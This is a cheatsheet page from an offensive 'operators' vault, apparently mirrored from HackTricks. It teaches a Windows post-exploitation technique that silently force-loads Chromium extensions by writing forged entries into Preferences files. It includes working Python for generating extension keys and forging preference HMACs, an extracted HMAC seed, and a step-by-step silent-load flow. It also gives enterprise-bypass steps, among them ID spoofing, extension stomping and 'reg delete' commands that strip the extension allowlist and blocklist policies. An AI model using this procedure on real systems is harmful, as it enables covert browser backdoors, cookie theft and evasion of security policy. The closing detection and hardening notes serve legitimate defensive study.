daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

forced-extension-load-preferences-mac-forgery-windows.md (11543B)


      1 ---
      2 title: "Forced Extension Load & Preferences MAC Forgery (Windows)"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Forced Extension Load & Preferences MAC Forgery (Windows)
     14 
     15 ## Overview
     16 
     17 This post-exploitation technique force-loads arbitrary extensions in Chromium-based browsers on Windows by editing a user's `Preferences`/`Secure Preferences` and forging valid HMACs for the modified nodes. It was demonstrated against Chrome/Chromium, Edge, and Brave from Chromium 130 through 139 at publication time. A disk-write primitive in the victim profile can persist a fully privileged extension without command-line flags or user prompts.<sup>[[1]](#references)</sup>
     18 
     19 > Key idea: Chromium stores per-user extension state in a JSON preferences file and protects it with HMAC-SHA256. If you compute valid MACs with the browser’s embedded seed and write them next to your injected nodes, the browser accepts and activates your extension entry.
     20 
     21 
     22 ## Where extension state lives (Windows)
     23 
     24 - Non–domain‑joined Chrome profile:
     25   - %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Secure Preferences (includes a root "super_mac").
     26 - Domain‑joined Chrome profile:
     27   - %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Preferences
     28 - Key nodes used by Chromium:
     29   - extensions.settings.<extension_id> → embedded manifest/metadata for the extension entry
     30   - protection.macs.extensions.settings.<extension_id> → HMAC for that JSON blob
     31   - Chromium ≥134: extensions.ui.developer_mode (boolean) must be present and MAC‑signed for unpacked extensions to activate
     32 
     33 Simplified schema (illustrative):
     34 
     35 ```json
     36 {
     37   "extensions": {
     38     "settings": {
     39       "<extension_id>": {
     40         "name": "Extension name",
     41         "manifest_version": 3,
     42         "version": "1.0",
     43         "key": "<BASE64 DER SPKI>",
     44         "path": "<absolute path if unpacked>",
     45         "state": 1,
     46         "from_bookmark": false,
     47         "was_installed_by_default": false
     48         // ...rest of manifest.json + required install metadata
     49       }
     50     },
     51     "ui": { "developer_mode": true }
     52   },
     53   "protection": {
     54     "macs": {
     55       "extensions": {
     56         "settings": { "<extension_id>": "<MAC>" },
     57         "ui": { "developer_mode": "<MAC>" }
     58       }
     59     }
     60   }
     61 }
     62 ```
     63 
     64 Notes:
     65 - Edge/Brave maintain similar structures. The protection seed value may differ (Edge/Brave were observed to use a null/other seed in some builds).<sup>[[1]](#references)</sup>
     66 
     67 
     68 ## Extension IDs: path vs key and making them deterministic
     69 
     70 Chromium derives the extension ID as follows:
     71 - Packed/signed extension: ID = SHA‑256 over DER‑encoded SubjectPublicKeyInfo (SPKI) → take first 32 hex chars → map 0–f to a–p
     72 - Unpacked (no key in manifest): ID = SHA‑256 over the absolute installation path bytes → map 0–f to a–p
     73 
     74 To keep a stable ID across hosts, embed a fixed base64 DER public key in manifest.json under "key". The ID will be derived from this key instead of the installation path.<sup>[[1]](#references)</sup>
     75 
     76 Helper to generate a deterministic ID and a key pair:
     77 
     78 ```python
     79 import base64
     80 import hashlib
     81 from cryptography.hazmat.primitives import serialization
     82 from cryptography.hazmat.primitives.asymmetric import rsa
     83 
     84 def translate_crx_id(s: str) -> str:
     85     t = {'0':'a','1':'b','2':'c','3':'d','4':'e','5':'f','6':'g','7':'h','8':'i','9':'j','a':'k','b':'l','c':'m','d':'n','e':'o','f':'p'}
     86     return ''.join(t.get(c, c) for c in s)
     87 
     88 def generate_extension_keys() -> tuple[str,str,str]:
     89     priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
     90     pub = priv.public_key()
     91     spki = pub.public_bytes(encoding=serialization.Encoding.DER,
     92                             format=serialization.PublicFormat.SubjectPublicKeyInfo)
     93     crx_id = translate_crx_id(hashlib.sha256(spki).digest()[:16].hex())
     94     pub_b64 = base64.b64encode(spki).decode('utf-8')
     95     priv_der = priv.private_bytes(encoding=serialization.Encoding.DER,
     96                                   format=serialization.PrivateFormat.TraditionalOpenSSL,
     97                                   encryption_algorithm=serialization.NoEncryption())
     98     priv_b64 = base64.b64encode(priv_der).decode('utf-8')
     99     return crx_id, pub_b64, priv_b64
    100 
    101 print(generate_extension_keys())
    102 ```
    103 
    104 Add the generated public key into your manifest.json to lock the ID:
    105 
    106 ```json
    107 {
    108   "manifest_version": 3,
    109   "name": "Synacktiv extension",
    110   "version": "1.0",
    111   "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2lMCg6..."
    112 }
    113 ```
    114 
    115 
    116 ## Forging Preferences integrity MACs (core bypass)
    117 
    118 Chromium protects preferences with HMAC-SHA256 over `path` plus the serialized JSON value of each node. The HMAC seed is embedded in the browser's `resources.pak` and was still usable through Chromium 139 in the cited research.<sup>[[1]](#references)</sup><sup>[[3]](#references)</sup>
    119 
    120 Extract the seed with GRIT pak_util<sup>[[2]](#references)</sup> and locate the seed container (file id 146 in tested builds):
    121 
    122 ```bash
    123 python3 pak_util.py extract resources.pak -o resources_v139/
    124 python3 pak_util.py extract resources.pak -o resources_v139_dirty/
    125 # compare a clean vs minimally modified resources.pak to spot the seed holder
    126 xxd -p resources_v139/146
    127 # e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8
    128 ```
    129 
    130 Compute MACs (uppercase hex) as:
    131 
    132 ```text
    133 ext_mac = HMAC_SHA256(seed,
    134   "extensions.settings.<crx_id>" + json.dumps(<settings_json>))
    135 
    136 devmode_mac = HMAC_SHA256(seed,
    137   "extensions.ui.developer_mode" + ("true" or "false"))
    138 ```
    139 
    140 Minimal Python example:
    141 
    142 ```python
    143 import json, hmac, hashlib
    144 
    145 def mac_upper(seed_hex: str, pref_path: str, value) -> str:
    146     seed = bytes.fromhex(seed_hex)
    147     # Compact JSON to match Chromium serialization closely
    148     val = json.dumps(value, separators=(',', ':')) if not isinstance(value, str) else value
    149     msg = (pref_path + val).encode('utf-8')
    150     return hmac.new(seed, msg, hashlib.sha256).hexdigest().upper()
    151 
    152 # Example usage
    153 settings_path = f"extensions.settings.{crx_id}"
    154 devmode_path = "extensions.ui.developer_mode"
    155 ext_mac = mac_upper(seed_hex, settings_path, settings_json)
    156 devmode_mac = mac_upper(seed_hex, devmode_path, "true")
    157 ```
    158 
    159 Write the values under:
    160 - protection.macs.extensions.settings.<crx_id> = ext_mac
    161 - protection.macs.extensions.ui.developer_mode = devmode_mac (Chromium ≥134)
    162 
    163 Browser differences: on Microsoft Edge and Brave the seed may be null/different. The HMAC structure remains the same; adjust the seed accordingly.
    164 
    165 > Implementation tips
    166 > - Use exactly the same JSON serialization Chromium uses when computing MACs (compact JSON without whitespace is safe in practice; sorting keys may help avoid ordering issues).
    167 > - Ensure extensions.ui.developer_mode exists and is signed on Chromium ≥134, or your unpacked entry won’t activate.<sup>[[1]](#references)</sup>
    168 
    169 
    170 ## End‑to‑end silent load flow (Windows)
    171 
    172 1) Generate a deterministic ID and embed "key" in manifest.json; prepare an unpacked MV3 extension with desired permissions (service worker/content scripts)
    173 2) Create `extensions.settings.<id>` by embedding the manifest and minimal install metadata required by Chromium (state, path for unpacked, etc.)
    174 3) Extract the HMAC seed from resources.pak (file 146) and compute two MACs: one for the settings node and one for extensions.ui.developer_mode (Chromium ≥134)
    175 4) Write the crafted nodes and MACs into the target profile’s Preferences/Secure Preferences; next launch will auto‑activate your extension with full declared privileges<sup>[[1]](#references)</sup>
    176 
    177 
    178 ## Bypassing enterprise controls
    179 
    180 - Whitelisted extension hash spoofing (ID spoofing)
    181   1) Install an allowed Web Store extension and note its ID
    182   2) Obtain its public key (e.g., via chrome.runtime.getManifest().key in the background/service worker or by fetching/parsing its .crx)
    183   3) Set that key as manifest.key in your modified extension to reproduce the same ID
    184   4) Register the entry in Preferences and sign the MACs → ExtensionInstallAllowlist checks that match on ID only are bypassed<sup>[[1]](#references)</sup>
    185 
    186 - Extension stomping (ID collision precedence)
    187   - If a local unpacked extension shares an ID with an installed Web Store extension, Chromium prefers the unpacked one. This effectively replaces the legitimate extension in chrome://extensions while preserving the trusted ID. Verified on Chrome and Edge (e.g., Adobe PDF)<sup>[[1]](#references)</sup>
    188 
    189 - Neutralizing GPO via HKCU (requires admin)
    190   - Chrome/Edge policies live under HKCU\Software\Policies\*
    191   - With admin rights, delete/modify policy keys before writing your entries to avoid blocks:<sup>[[1]](#references)</sup>
    192 
    193 ```powershell
    194 reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f
    195 reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallBlocklist" /f
    196 ```
    197 
    198 
    199 ## Noisy fallback: command-line loading
    200 
    201 From Chromium ≥137, --load-extension requires also passing:
    202 
    203 ```text
    204 --disable-features=DisableLoadExtensionCommandLineSwitch
    205 ```
    206 
    207 This approach is widely known and monitored (e.g., by EDR/DFIR; used by commodity malware like Chromeloader). Preference MAC forging is stealthier.<sup>[[1]](#references)</sup>
    208 
    209 Related flags and more cross‑platform tricks are discussed here:
    210 
    211 [Macos Chromium Injection](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md)
    212 
    213 
    214 ## Operational impact
    215 
    216 Once accepted, the extension runs with its declared permissions, enabling DOM access, request interception or redirection, cookie/storage access, and screenshot capture—effectively in-browser code execution and durable user-profile persistence. Remote deployment over SMB or another authorized administrative channel is possible because activation is data-driven through the preferences file.<sup>[[1]](#references)</sup><sup>[[4]](#references)</sup>
    217 
    218 
    219 ## Detection and hardening
    220 
    221 - Monitor for non‑Chromium processes writing to Preferences/Secure Preferences, especially new nodes under extensions.settings paired with protection.macs entries
    222 - Alert on unexpected toggling of extensions.ui.developer_mode and on HMAC‑valid but unapproved extension entries
    223 - Audit HKCU/HKLM Software\Policies for tampering; enforce policies via device management/Chrome Browser Cloud Management
    224 - Prefer forced‑install from the store with verified publishers rather than allowlists that match only on extension ID<sup>[[1]](#references)</sup>
    225 
    226 
    227 ## References
    228 
    229 - [1] [The Phantom Extension: Backdooring chrome through uncharted pathways](https://www.synacktiv.com/en/publications/the-phantom-extension-backdooring-chrome-through-uncharted-pathways.html)
    230 - [2] [pak_util.py (GRIT)](https://chromium.googlesource.com/chromium/src/+/master/tools/grit/pak_util.py)
    231 - [3] [SecurePreferencesFile (prior research on HMAC seed)](https://github.com/Pica4x6/SecurePreferencesFile)
    232 - [4] [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome)